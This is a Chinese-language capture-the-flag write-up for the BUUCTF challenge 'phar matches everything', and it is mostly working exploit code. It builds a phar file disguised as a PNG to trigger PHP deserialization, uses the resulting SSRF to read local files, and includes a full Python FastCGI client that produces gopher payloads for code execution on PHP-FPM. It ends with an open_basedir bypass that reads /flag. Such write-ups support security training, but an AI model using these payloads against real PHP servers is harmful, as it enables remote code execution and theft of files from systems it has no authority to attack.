BUUCTF：[NCTF2019]phar matches everything

题目地址：https://buuoj.cn/challenges#[NCTF2019]phar%20matches%20everything

源码地址：https://github.com/swfangzhang/My-2019NCTF/tree/master/phar matches everything

catchmime.php

//catchmime.php

class Easytest{
    protected $test;
    public function funny_get(){
        return $this->test;
    }
}
class Main {
    public $url;
    public function curl($url){
        $ch = curl_init();  
        curl_setopt($ch,CURLOPT_URL,$url);
        curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
        $output=curl_exec($ch);
        curl_close($ch);
        return $output;
    }

	public function __destruct(){
        $this_is_a_easy_test=unserialize($_GET['careful']);
        if($this_is_a_easy_test->funny_get() === '1'){
            echo $this->curl($this->url);
        }
    }    
}

if(isset($_POST["submit"])) {
    $check = getimagesize($_POST['name']);
    if($check !== false) {
        echo "File is an image - " . $check["mime"] . ".";
    } else {
        echo "File is not an image.";
    }
}
?>

Main::curl()明显存在SSRF并且可使用文件流造成任意文件读取，Main::___destruct()中需要通过反序列化控制Easytest::$this->test='1'。然后利用Phar反序列化控制Main::$this->url进行SSRF或者任意文件读取，Phar反序列化会在getimagesize()触发

构造poc：

class Easytest{
    protected $test='1';
    public function funny_get(){
        return $this->test;
    }
}
class Main {
    public $url;
}


$test = new EasyTest;
echo urlencode(serialize($test))."\n";

$payload = new Main;
$payload->url = "file:///etc/hosts";//文件流读取文件

$png_header = hex2bin('89504e470d0a1a0a0000000d49484452000000400000004000');
$phar = new Phar('exp.phar');
$phar -> startBuffering();
$phar -> setStub($png_header.'');
$phar -> addFromString('test.txt','test');
$phar -> setMetadata($payload);
$phar -> stopBuffering();
rename("exp.phar","exp.png");
?>

生成的phar文件修改后缀为png以通过白名单验证

//upload.php
if($imageFileType !== "jpg" && $imageFileType !== "png" && $imageFileType !== "gif" && $imageFileType !== "jpeg"  ) {
    echo "Sorry, only jpg,png,gif,jpeg are allowed.";
    $uploadOk = 0;
}

PS C:\Users\Administrator\Desktop> php .\poc.php
O%3A8%3A%22Easytest%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00test%22%3Bs%3A1%3A%221%22%3B%7D

靶机内网IP：173.37.29.10
接下来需要内网寻找PHP-FPMIP（应该是buu的环境问题，本来PHP-FPM的IP就是hosts本机IP，但是访问本机IP却没有看到FPM的回显，所以找一下这个IP，其实就是本机IP最后一位+1），把$payload->url = "http://173.37.29.11";，再次生成phar文件上传查看回显

PHP-FPM攻击脚本

import socket
import random
import argparse
import sys
from io import BytesIO
import base64
import urllib
# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client
PY2 = True if sys.version_info.major == 2 else False
def bchr(i):
    if PY2:
        return force_bytes(chr(i))
    else:
        return bytes([i])
def bord(c):
    if isinstance(c, int):
        return c
    else:
        return ord(c)
def force_bytes(s):
    if isinstance(s, bytes):
        return s
    else:
        return s.encode('utf-8', 'strict')
def force_text(s):
    if issubclass(type(s), str):
        return s
    if isinstance(s, bytes):
        s = str(s, 'utf-8', 'strict')
    else:
        s = str(s)
    return s
class FastCGIClient:
    """A Fast-CGI Client for Python"""
    # private
    __FCGI_VERSION = 1
    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3
    __FCGI_TYPE_BEGIN = 1
    __FCGI_TYPE_ABORT = 2
    __FCGI_TYPE_END = 3
    __FCGI_TYPE_PARAMS = 4
    __FCGI_TYPE_STDIN = 5
    __FCGI_TYPE_STDOUT = 6
    __FCGI_TYPE_STDERR = 7
    __FCGI_TYPE_DATA = 8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11
    __FCGI_HEADER_SIZE = 8
    # request state
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3
    def __init__(self, host, port, timeout, keepalive):
        self.host = host
        self.port = port
        self.timeout = timeout
        if keepalive:
            self.keepalive = 1
        else:
            self.keepalive = 0
        self.sock = None
        self.requests = dict()
    def __connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(self.timeout)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        # if self.keepalive:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
        # else:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
        try:
            self.sock.connect((self.host, int(self.port)))
        except socket.error as msg:
            self.sock.close()
            self.sock = None
            print(repr(msg))
            return False
        return True
    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        length = len(content)
        buf = bchr(FastCGIClient.__FCGI_VERSION) \
               + bchr(fcgi_type) \
               + bchr((requestid >> 8) & 0xFF) \
               + bchr(requestid & 0xFF) \
               + bchr((length >> 8) & 0xFF) \
               + bchr(length & 0xFF) \
               + bchr(0) \
               + bchr(0) \
               + content
        return buf
    def __encodeNameValueParams(self, name, value):
        nLen = len(name)
        vLen = len(value)
        record = b''
        if nLen < 128:
            record += bchr(nLen)
        else:
            record += bchr((nLen >> 24) | 0x80) \
                      + bchr((nLen >> 16) & 0xFF) \
                      + bchr((nLen >> 8) & 0xFF) \
                      + bchr(nLen & 0xFF)
        if vLen < 128:
            record += bchr(vLen)
        else:
            record += bchr((vLen >> 24) | 0x80) \
                      + bchr((vLen >> 16) & 0xFF) \
                      + bchr((vLen >> 8) & 0xFF) \
                      + bchr(vLen & 0xFF)
        return record + name + value
    def __decodeFastCGIHeader(self, stream):
        header = dict()
        header['version'] = bord(stream[0])
        header['type'] = bord(stream[1])
        header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
        header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
        header['paddingLength'] = bord(stream[6])
        header['reserved'] = bord(stream[7])
        return header
    def __decodeFastCGIRecord(self, buffer):
        header = buffer.read(int(self.__FCGI_HEADER_SIZE))
        if not header:
            return False
        else:
            record = self.__decodeFastCGIHeader(header)
            record['content'] = b''
            if 'contentLength' in record.keys():
                contentLength = int(record['contentLength'])
                record['content'] += buffer.read(contentLength)
            if 'paddingLength' in record.keys():
                skiped = buffer.read(int(record['paddingLength']))
            return record
    def request(self, nameValuePairs={}, post=''):
        if not self.__connect():
            print('connect failure! please check your fasctcgi-server !!')
            return
        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = b""
        beginFCGIRecordContent = bchr(0) \
                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
                                 + bchr(self.keepalive) \
                                 + bchr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = b''
        if nameValuePairs:
            for (name, value) in nameValuePairs.items():
                name = force_bytes(name)
                value = force_bytes(value)
                paramsRecord += self.__encodeNameValueParams(name, value)
        if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
        if post:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
        self.sock.send(request)
        self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
        self.requests[requestId]['response'] = b''
        return self.__waitForResponse(requestId)
    def gopher(self, nameValuePairs={}, post=''):
        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = b""
        beginFCGIRecordContent = bchr(0) \
                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
                                 + bchr(self.keepalive) \
                                 + bchr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = b''
        if nameValuePairs:
            for (name, value) in nameValuePairs.items():
                name = force_bytes(name)
                value = force_bytes(value)
                paramsRecord += self.__encodeNameValueParams(name, value)
        if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
        if post:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
        return request
    def __waitForResponse(self, requestId):
        data = b''
        while True:
            buf = self.sock.recv(512)
            if not len(buf):
                break
            data += buf
        data = BytesIO(data)
        while True:
            response = self.__decodeFastCGIRecord(data)
            if not response:
                break
            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
                if requestId == int(response['requestId']):
                    self.requests[requestId]['response'] += response['content']
            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
                self.requests[requestId]
        return self.requests[requestId]['response']
    def __repr__(self):
        return "fastcgi connect host:{} port:{}".format(self.host, self.port)
if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
    parser.add_argument('host', help='Target host, such as 127.0.0.1')
    parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
    parser.add_argument('-c', '--code', help='What php code your want to execute', default='')
    parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)
    parser.add_argument('-e', '--ext', help='ext absolute path', default='')
    parser.add_argument('-if', '--include_file', help='evil.php absolute path', default='')
    parser.add_argument('-u', '--url_format', help='generate gopher stream in url format', nargs='?',const=1)
    parser.add_argument('-b', '--base64_format', help='generate gopher stream in base64 format', nargs='?',const=1)
    args = parser.parse_args()
    client = FastCGIClient(args.host, args.port, 3, 0)
    params = dict()
    documentRoot = "/"
    uri = args.file
    params = {
        'GATEWAY_INTERFACE': 'FastCGI/1.0',
        'REQUEST_METHOD': 'POST',
        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
        'SCRIPT_NAME': uri,
        'QUERY_STRING': '',
        'REQUEST_URI': uri,
        'DOCUMENT_ROOT': documentRoot,
        'SERVER_SOFTWARE': 'php/fcgiclient',
        'REMOTE_ADDR': '127.0.0.1',
        'REMOTE_PORT': '9985',
        'SERVER_ADDR': '127.0.0.1',
        'SERVER_PORT': '80',
        'SERVER_NAME': "localhost",
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'CONTENT_TYPE': 'application/text',
        'CONTENT_LENGTH': "%d" % len(args.code),
        'PHP_VALUE': 'auto_prepend_file = php://input',
        'PHP_ADMIN_VALUE': 'allow_url_include = On'
    }
    if args.ext and args.include_file:
        #params['PHP_ADMIN_VALUE']='extension = '+args.ext
        params['PHP_ADMIN_VALUE']="extension_dir = /var/www/html\nextension = ant.so"
        params['PHP_VALUE']='auto_prepend_file = '+args.include_file
    if not args.url_format and not args.base64_format :
        response = client.request(params, args.code)
        print(force_text(response))
    else:
        response = client.gopher(params, args.code)
        if args.url_format:
            print(urllib.quote(response))
        if args.base64_format:
            print(base64.b64encode(response))

PS C:\Users\Administrator\Desktop> python2 .\exp.py 173.37.29.11 /var/www/html/index.php -p 9000 -c "" -u
%01%01%5D%CE%00%08%00%00%00%01%00%00%00%00%00%00%01%04%5D%CE%01%DB%00%00%0E%02CONTENT_LENGTH18%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%17SCRIPT_FILENAME/var/www/html/index.php%0B%17SCRIPT_NAME/var/www/html/index.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%17REQUEST_URI/var/www/html/index.php%01%04%5D%CE%00%00%00%00%01%05%5D%CE%00%12%00%00%3C%3Fphp%20phpinfo%28%29%3B%3F%3E%01%05%5D%CE%00%00%00%00

然后在生成的payload前加上gopher://173.37.29.11:9000/_得到：

gopher://173.37.29.11:9000/_%01%01%5D%CE%00%08%00%00%00%01%00%00%00%00%00%00%01%04%5D%CE%01%DB%00%00%0E%02CONTENT_LENGTH18%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%17SCRIPT_FILENAME/var/www/html/index.php%0B%17SCRIPT_NAME/var/www/html/index.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%17REQUEST_URI/var/www/html/index.php%01%04%5D%CE%00%00%00%00%01%05%5D%CE%00%12%00%00%3C%3Fphp%20phpinfo%28%29%3B%3F%3E%01%05%5D%CE%00%00%00%00

将这个payload放入$payload->url = ""

class Easytest{
    protected $test='1';
    public function funny_get(){
        return $this->test;
    }
}
class Main {
    public $url;
}


$test = new EasyTest;
echo urlencode(serialize($test))."\n";

$payload = new Main;
$payload->url = "gopher://173.37.29.11:9000/_%01%01%5D%CE%00%08%00%00%00%01%00%00%00%00%00%00%01%04%5D%CE%01%DB%00%00%0E%02CONTENT_LENGTH18%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%17SCRIPT_FILENAME/var/www/html/index.php%0B%17SCRIPT_NAME/var/www/html/index.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%17REQUEST_URI/var/www/html/index.php%01%04%5D%CE%00%00%00%00%01%05%5D%CE%00%12%00%00%3C%3Fphp%20phpinfo%28%29%3B%3F%3E%01%05%5D%CE%00%00%00%00";

$png_header = hex2bin('89504e470d0a1a0a0000000d49484452000000400000004000');
$phar = new Phar('exp.phar');
$phar -> startBuffering();
$phar -> setStub($png_header.'');
$phar -> addFromString('test.txt','test');
$phar -> setMetadata($payload);
$phar -> stopBuffering();
rename("exp.phar","exp.png");
?>

再次生成phar文件上传并执行


system()等一些函数被禁用，open_basedir绕过读取flag，网上找找，很多

<?php mkdir('/tmp/fuck');chdir('/tmp/fuck');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/'));readfile('/flag');?>

PS C:\Users\Administrator\Desktop> python2 .\exp.py 173.37.29.11 /var/www/html/index.php -p 9000 -c "" -u
%01%01P%D2%00%08%00%00%00%01%00%00%00%00%00%00%01%04P%D2%01%DC%00%00%0E%03CONTENT_LENGTH203%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%17SCRIPT_FILENAME/var/www/html/index.php%0B%17SCRIPT_NAME/var/www/html/index.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%17REQUEST_URI/var/www/html/index.php%01%04P%D2%00%00%00%00%01%05P%D2%00%CB%00%00%3C%3Fphp%20mkdir%28%27/tmp/fuck%27%29%3Bchdir%28%27/tmp/fuck%27%29%3Bini_set%28%27open_basedir%27%2C%27..%27%29%3Bchdir%28%27..%27%29%3Bchdir%28%27..%27%29%3Bchdir%28%27..%27%29%3Bchdir%28%27..%27%29%3Bchdir%28%27..%27%29%3Bini_set%28%27open_basedir%27%2C%27/%27%29%3Bprint_r%28scandir%28%27/%27%29%29%3Breadfile%28%27/flag%27%29%3B%3F%3E%01%05P%D2%00%00%00%00

class Easytest{
    protected $test='1';
    public function funny_get(){
        return $this->test;
    }
}
class Main {
    public $url;
}


$test = new EasyTest;
echo urlencode(serialize($test))."\n";

$payload = new Main;
$payload->url = "gopher://173.37.29.11:9000/_%01%01P%D2%00%08%00%00%00%01%00%00%00%00%00%00%01%04P%D2%01%DC%00%00%0E%03CONTENT_LENGTH203%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%17SCRIPT_FILENAME/var/www/html/index.php%0B%17SCRIPT_NAME/var/www/html/index.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%17REQUEST_URI/var/www/html/index.php%01%04P%D2%00%00%00%00%01%05P%D2%00%CB%00%00%3C%3Fphp%20mkdir%28%27/tmp/fuck%27%29%3Bchdir%28%27/tmp/fuck%27%29%3Bini_set%28%27open_basedir%27%2C%27..%27%29%3Bchdir%28%27..%27%29%3Bchdir%28%27..%27%29%3Bchdir%28%27..%27%29%3Bchdir%28%27..%27%29%3Bchdir%28%27..%27%29%3Bini_set%28%27open_basedir%27%2C%27/%27%29%3Bprint_r%28scandir%28%27/%27%29%29%3Breadfile%28%27/flag%27%29%3B%3F%3E%01%05P%D2%00%00%00%00";

$png_header = hex2bin('89504e470d0a1a0a0000000d49484452000000400000004000');
$phar = new Phar('exp.phar');
$phar -> startBuffering();
$phar -> setStub($png_header.'');
$phar -> addFromString('test.txt','test');
$phar -> setMetadata($payload);
$phar -> stopBuffering();
rename("exp.phar","exp.png");
?>

将生成的exp.png接着上传并触发phar反序列化读取flag